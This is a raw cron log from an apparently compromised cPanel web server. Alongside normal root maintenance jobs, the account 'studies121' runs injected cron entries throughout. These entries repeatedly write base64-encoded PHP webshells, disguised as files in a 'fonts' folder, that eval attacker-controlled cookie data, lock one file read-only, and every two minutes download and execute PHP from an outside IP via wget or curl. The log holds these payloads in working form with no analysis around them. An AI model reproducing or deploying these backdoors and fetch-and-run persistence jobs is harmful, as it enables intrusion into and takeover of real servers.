Sep 21 11:43:01 ip-184-168-122-23 CROND[24728]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 11:43:01 ip-184-168-122-23 CROND[24726]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 11:44:01 ip-184-168-122-23 CROND[24939]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 11:44:01 ip-184-168-122-23 CROND[24940]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 11:44:01 ip-184-168-122-23 CROND[24941]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 11:44:01 ip-184-168-122-23 CROND[24944]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 11:44:01 ip-184-168-122-23 CROND[24945]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 11:45:01 ip-184-168-122-23 CROND[25079]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 11:45:01 ip-184-168-122-23 CROND[25080]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 11:45:01 ip-184-168-122-23 CROND[25085]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 11:45:01 ip-184-168-122-23 CROND[25083]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 11:45:01 ip-184-168-122-23 CROND[25084]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 11:45:01 ip-184-168-122-23 CROND[25082]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 11:46:01 ip-184-168-122-23 CROND[25224]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 21 11:46:01 ip-184-168-122-23 CROND[25226]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 11:46:01 ip-184-168-122-23 CROND[25228]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 11:46:01 ip-184-168-122-23 CROND[25229]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 21 11:46:01 ip-184-168-122-23 CROND[25230]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 11:46:01 ip-184-168-122-23 CROND[25227]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 11:46:01 ip-184-168-122-23 CROND[25231]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 11:47:01 ip-184-168-122-23 CROND[25431]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 11:47:01 ip-184-168-122-23 CROND[25433]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 11:47:01 ip-184-168-122-23 CROND[25434]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 11:47:01 ip-184-168-122-23 CROND[25435]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 11:48:01 ip-184-168-122-23 CROND[25576]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 11:48:01 ip-184-168-122-23 CROND[25577]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 11:48:01 ip-184-168-122-23 CROND[25580]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 11:48:01 ip-184-168-122-23 CROND[25579]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 11:48:01 ip-184-168-122-23 CROND[25584]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 11:49:01 ip-184-168-122-23 CROND[25705]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 11:49:01 ip-184-168-122-23 CROND[25707]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 11:49:01 ip-184-168-122-23 CROND[25708]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 11:49:01 ip-184-168-122-23 CROND[25709]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 11:50:01 ip-184-168-122-23 CROND[25847]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 11:50:01 ip-184-168-122-23 CROND[25855]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 11:50:01 ip-184-168-122-23 CROND[25856]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 11:50:01 ip-184-168-122-23 CROND[25859]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 11:50:01 ip-184-168-122-23 CROND[25858]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 21 11:50:01 ip-184-168-122-23 CROND[25854]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 11:50:01 ip-184-168-122-23 CROND[25857]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 11:50:01 ip-184-168-122-23 CROND[25860]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 11:50:01 ip-184-168-122-23 CROND[25864]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 11:51:01 ip-184-168-122-23 CROND[25985]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 11:51:01 ip-184-168-122-23 CROND[25986]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 11:51:01 ip-184-168-122-23 CROND[25988]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 11:51:01 ip-184-168-122-23 CROND[25989]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 11:52:01 ip-184-168-122-23 CROND[26120]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 11:52:01 ip-184-168-122-23 CROND[26122]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 11:52:01 ip-184-168-122-23 CROND[26123]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 11:52:01 ip-184-168-122-23 CROND[26124]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 11:52:01 ip-184-168-122-23 CROND[26125]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 11:53:01 ip-184-168-122-23 CROND[26344]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 11:53:01 ip-184-168-122-23 CROND[26346]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 11:53:01 ip-184-168-122-23 CROND[26347]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 11:53:01 ip-184-168-122-23 CROND[26349]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 11:54:01 ip-184-168-122-23 CROND[26498]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 11:54:01 ip-184-168-122-23 CROND[26499]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 11:54:01 ip-184-168-122-23 CROND[26503]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 11:54:01 ip-184-168-122-23 CROND[26502]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 11:54:01 ip-184-168-122-23 CROND[26504]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 11:55:01 ip-184-168-122-23 CROND[26726]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 11:55:01 ip-184-168-122-23 CROND[26729]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 11:55:01 ip-184-168-122-23 CROND[26730]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
